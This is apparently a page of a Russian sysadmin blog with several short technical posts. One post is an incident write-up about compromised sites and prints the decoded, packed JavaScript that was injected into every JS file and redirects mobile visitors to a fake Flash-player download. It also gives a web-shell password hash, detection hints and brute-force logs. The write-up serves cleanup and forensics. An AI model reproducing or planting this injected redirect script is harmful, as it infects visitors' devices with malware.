file maildir-util.c: line 268 (maildir_hash): assertion failed: (*s != ‘/’)

Поломался один из ящиков очень давно настроенного почтового сервера, вот с таким текстом

 file maildir-util.c: line 268 (maildir_hash): assertion failed: (*s != '/')

всё примерно просто, поломался файл dovecot-uidlist в корне ящика пользователя, перемещаем его куданить, перезапускаем довекот и постфикс и пробуем зайти в почту пользователя.

joomla update to 3.2

Fatal error: Call to a member function get() on a non-object in /****/www/plugins/system/remember/remember.php on line 94

нежданная подстава в неудачное время 🙁

Django virtualenv

небольшая шпаркалка по создании Виртуального пространства и установки самых необходимых пакетов

virtualenv --no-site-packages src
source bin/activate
easy_install django
easy_install -U distribute
easy_install mysql-python

Вирус в JS файлах

На одном клиентском сайте на левом сервере вдруг обнаружилось, что все мобильные устройства редиректятся на

 newbestflashplayer.ru

В притом на устройствах андройда сразу проходит установка этого чудо флеш плеера ниочём не спрашивая.

разбор полётов выяснил что в сайте\сайтах на сервере были заражены все JS файлы вот таким кодом

;document.write(unescape("%3C%73%63%72%69%70%74%20%74%793B%3C%2
F%73%63%72%69%70%74%3E"
));

я середину скрипта вырезал ибо смысла нет гуглится будет и по началу и по концу
немного дешифровав его я получил вот такой

 ;document.write(unescape("<script type="text/javascript">
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String))
{while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}
('7 1=8.9.a(/(b)|(e)|(f)|(h)|(j)|(k)|(l)|(m)|(n)|(o)|(p)|(q)|(r)|(s)|(u-)|(w)|(x)|(y)|(z)|(A)|(B)|(C)|(D)|(E)|(F)|(G)|(0-c)|(0-d)|(0-g)|(H-)|(I)|(J)|(2)|(K)|(L)|(M)|(N-)|(O)|(P)|(Q-)|(R)|(S)|(T)|(U)|(V)|(W)|(X)|(Y)|(Z)|(10)|(11)|(12)|(13)|(14)|(15)|(16)|(17)|(18-)|(19-)|(1a)|(1b)|(1c-)|(1d)|(1e-)|(1f)|(1g)|(1h)|(1i)|(1j-)|(1k)|(t-1l)|(1m)|(1n-)|(1o)|(1p-)|(1q)|(1r)|(1s-v)|(1t)|(1u)|(3-)|(1v)|(1w)|(1x)|(1y)|(1z)|(4)|(4)|(5)|(5-)|(6.1A)|(6.1B)|(1C.1D)|(1E)|(1F)|(1G)|(1H)|(2)|(3)|(1I)|(1J)|(1K)|(1L)|(1M)|(1N)|(1O)|(1P.1Q)|(1R)|(1S)/i);1T(1)
{1U.1V.1W="
1X"}',62,122,'lg|ismobile|midp|wap|winw|xda|up|var|navigator|userAgent|match|acs|||alav|alca||amoi||audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc||cmd||dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lge|maui|maxo|mits|mmef|mobi|mot|moto|mwbp|nec|newt|noki|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany|sch|sec|send|seri|sgh|shar|sie|siem|smal|smar|sony|sph|symb|mo|teli|tim|tosh|tsm|upg1|upsi|vk|voda|w3cs|wapa|wapi|wapp|wapr|webc|browser|link|windows|ce|iemobile|mini|mmp|symbian|phone|pocket|mobile|android|pda|PPC|Series60|Opera|Mini|ipad|iphone|if|document|location|href|http://newbestflashplayer.ru/l=32411818076a1a0a5f0a50541c1e024f671d5c5e58651d'.split('|'),0,{}));</script>"));

это оставлено тоже для тезх кто будет гуглить….

в общем чтоб вырезать эту ересь собрался вот такая вот команда

find ./ -type f -name "*.js" -exec perl -pi -e 's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g''' '{}' \;

Отдельная история как это могло попасть на сервер…..

UPD1
про комманду

find ./ -type f -name "*.js" -exec perl -pi -e 's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g''' '{}' \;

тело вируса заменяется пустым, тело вируса вписываем сюда

's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g'''

начало его и конец, до точки начало, после точки конец с экранированием спец символов через \
после второго заражения код вируса немного поменялся, и последние цифры были уже другие.

Для того, чтоб зараза заного не расспространялась ищите залитый shell чаще всего мне попадаются WSO 2.5 легко гуглится, и даже себе спецом заливал его для эксперементов по настройке защиты сервера.
удалось мне обезвредить его, для того чтоб он стал беспомощьным, и мог навредить только одному сайту, куда он залит…

про то как он мог попасть на сервер.
вариантов не много
1 кто-то протроянился утекли фтп доступы
2 использование шаблонов\модулей\компонентов скачанных с сомнительных сайтов
делаем поиск по всем пхп файлам… ну скажем у меня было несколько шеллов не полностью закодированные, а частично первые строки были открыты

$auth_pass = "d738664f57d0cc63169931feb9f91cb5";

введя в поиск все пхп файлы где есть слово $auth_pass я нашёл ещё десяток другой разбросанных файлов….
ещё очень рекомендую внимательно посмотреть все файлы содержащие

конструкцию

preg_replace("/.*/e

также внимательно посмотреть все файлы, что используют

eval(

Дальше.. про настройку сервера, чтоб шеллы не работали поговорим отдельно..

UPD2
Пошёл другие подвласные мне сервера искать, нашёл 2 шелла ещё, один в джумле полноценно установлен плагин системный


дальше всё стандартно

как установили, на 99% уверен что подобрали пароль.
потому, что админский пароль быль простой из словарей
а в логах невероятно много проб зайти в админку

31.202.231.7 - - [12/Mar/2013:03:57:14 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
31.202.231.7 - - [12/Mar/2013:03:57:15 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
31.202.231.7 - - [12/Mar/2013:03:57:15 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
31.202.231.7 - - [14/Mar/2013:00:27:59 +0800] "GET /administrator/ HTTP/1.0" 200 5318
31.202.231.7 - - [14/Mar/2013:00:28:03 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
31.202.231.7 - - [14/Mar/2013:00:28:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
31.202.231.7 - - [14/Mar/2013:00:28:04 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
31.202.231.7 - - [16/Mar/2013:01:46:18 +0800] "GET /administrator/ HTTP/1.0" 200 5318
31.202.231.7 - - [16/Mar/2013:01:46:19 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
31.202.231.7 - - [16/Mar/2013:01:46:19 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
31.202.231.7 - - [16/Mar/2013:01:46:20 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
31.202.231.7 - - [17/Mar/2013:14:23:59 +0800] "GET /administrator/ HTTP/1.0" 200 5318
31.202.231.7 - - [17/Mar/2013:14:24:00 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
31.202.231.7 - - [17/Mar/2013:14:24:00 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
31.202.231.7 - - [17/Mar/2013:14:24:01 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237

ещё один из методов поиска через логи, если в джумле включен ЧПУ то прямые обращения к *.php файлам будут подозрительны, проверим.

ну скажем
вот так

cat apache-access.log | grep .php

ну и недолго листая список видим

95.141.44.170 - - [10/Mar/2013:20:12:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 2513
95.141.44.170 - - [10/Mar/2013:20:12:12 +0800] "POST /administrator/index.php HTTP/1.0" 303 333
95.141.44.170 - - [10/Mar/2013:20:12:13 +0800] "GET /administrator/index.php HTTP/1.0" 200 5571
95.141.44.170 - - [10/Mar/2013:20:12:25 +0800] "GET /administrator/index.php?option=com_installer HTTP/1.0" 200 5327
95.141.44.170 - - [10/Mar/2013:20:12:33 +0800] "POST /administrator/index.php?option=com_installer&view=install HTTP/1.0" 303 367
95.141.44.170 - - [10/Mar/2013:20:12:34 +0800] "GET /administrator/index.php?option=com_installer&view=install HTTP/1.0" 200 5423
95.141.44.170 - - [10/Mar/2013:20:12:39 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 360
95.141.44.170 - - [10/Mar/2013:21:23:58 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 3364

ага видим, что этот айпишник делал.

# cat apache-access.log | grep 95.141.44.170
95.141.44.170 - - [29/Nov/2012:16:11:41 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
95.141.44.170 - - [29/Nov/2012:16:11:42 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
95.141.44.170 - - [29/Nov/2012:16:11:42 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
95.141.44.170 - - [29/Nov/2012:16:54:56 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
95.141.44.170 - - [29/Nov/2012:16:54:56 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
95.141.44.170 - - [29/Nov/2012:16:54:57 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
95.141.44.170 - - [29/Nov/2012:17:35:36 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
95.141.44.170 - - [29/Nov/2012:17:35:37 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
95.141.44.170 - - [29/Nov/2012:17:35:37 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
95.141.44.170 - - [29/Nov/2012:18:16:35 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
95.141.44.170 - - [29/Nov/2012:18:16:36 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
95.141.44.170 - - [29/Nov/2012:18:16:36 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
95.141.44.170 - - [29/Nov/2012:18:58:51 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
95.141.44.170 - - [29/Nov/2012:18:58:52 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
95.141.44.170 - - [29/Nov/2012:18:58:53 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
95.141.44.170 - - [10/Mar/2013:20:12:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 2513
95.141.44.170 - - [10/Mar/2013:20:12:12 +0800] "POST /administrator/index.php HTTP/1.0" 303 333
95.141.44.170 - - [10/Mar/2013:20:12:13 +0800] "GET /administrator/index.php HTTP/1.0" 200 5571
95.141.44.170 - - [10/Mar/2013:20:12:25 +0800] "GET /administrator/index.php?option=com_installer HTTP/1.0" 200 5327
95.141.44.170 - - [10/Mar/2013:20:12:33 +0800] "POST /administrator/index.php?option=com_installer&view=install HTTP/1.0" 303 367
95.141.44.170 - - [10/Mar/2013:20:12:34 +0800] "GET /administrator/index.php?option=com_installer&view=install HTTP/1.0" 200 5423
95.141.44.170 - - [10/Mar/2013:20:12:39 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 360
95.141.44.170 - - [10/Mar/2013:21:23:58 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 3364

ну вот подбирал пароль, подобрал и залил плагин.
сейчас просто волна видимо пошла….
шелл я нашёл поиском, навредить не успел, ну и меняйте господа пароли…

Узнать модель материнской платы linux

Начала на одном сервере на основе PC помирать мама, то включается с 20й попытки то на этапе биоса повиснет… в общем пора менять, но как узнать что там? онаж в стойке в куче проводов и т.п.

нибеда

dmidecode

и внимательно изучить

можно например посмотреть какой процессор

# dmidecode 2.9
SMBIOS 2.4 present.
32 structures occupying 1517 bytes.
Table at 0x000E3410.

Handle 0x0000, DMI type 4, 35 bytes
Processor Information
        Socket Designation: CPU1
        Type: Central Processor
        Family: <OUT OF SPEC>
        Manufacturer: Intel(R) Corporation
        ID: 76 06 01 00 FF FB EB BF
        Version: Intel(R) Core(TM)2 Extreme CPU X9650  @ 3.00GHz
        Voltage: 1.6 V
        External Clock: 333 MHz
        Max Speed: 4000 MHz
        Current Speed: 3000 MHz
        Status: Populated, Enabled
        Upgrade: Socket LGA775
        L1 Cache Handle: 0x0003
        L2 Cache Handle: 0x0001
        L3 Cache Handle: Not Provided
        Serial Number: Not Specified
        Asset Tag: Not Specified
        Part Number: Not Specified

Версию биоса

BIOS Information
        Vendor: Intel Corp.
        Version: BTX3810J.86A.2006.2009.1023.1057
        Release Date: 10/23/2009
        Address: 0xF0000
        Runtime Size: 64 kB
        ROM Size: 2048 kB

ну и маму

Base Board Information
        Manufacturer: Intel Corporation
        Product Name: DX48BT2
        Version: AAE26191-204
        Serial Number: BQBQ815001VQ
        Asset Tag: Base Board Asset Tag
        Features:
                Board is a hosting board
                Board is replaceable
        Location In Chassis: Base Board Chassis Location
        Chassis Handle: 0x0007
        Type: Unknown
        Contained Object Handles: 0

Также можно посмотреть какие PCI устройства (точнее то, что у нас есть на «южном мосту») у нас есть

lspci
Страница 4 из 39« Первая...23456...102030...Последняя »